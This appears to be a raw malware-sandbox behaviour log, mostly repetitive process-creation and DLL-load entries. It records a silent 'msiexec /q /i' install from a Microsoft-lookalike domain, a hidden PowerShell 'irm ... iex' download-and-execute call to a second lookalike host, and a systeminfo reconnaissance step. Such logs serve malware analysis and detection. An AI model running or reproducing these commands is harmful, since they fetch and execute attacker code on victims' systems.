Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=3264,i,11090072880951647910,17287777256714508569,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3492 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=3264,i,11090072880951647910,17287777256714508569,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4812 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding EF716064682E1076D0BADB4927A14935	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('\|', $s, 'iex'))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown

Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
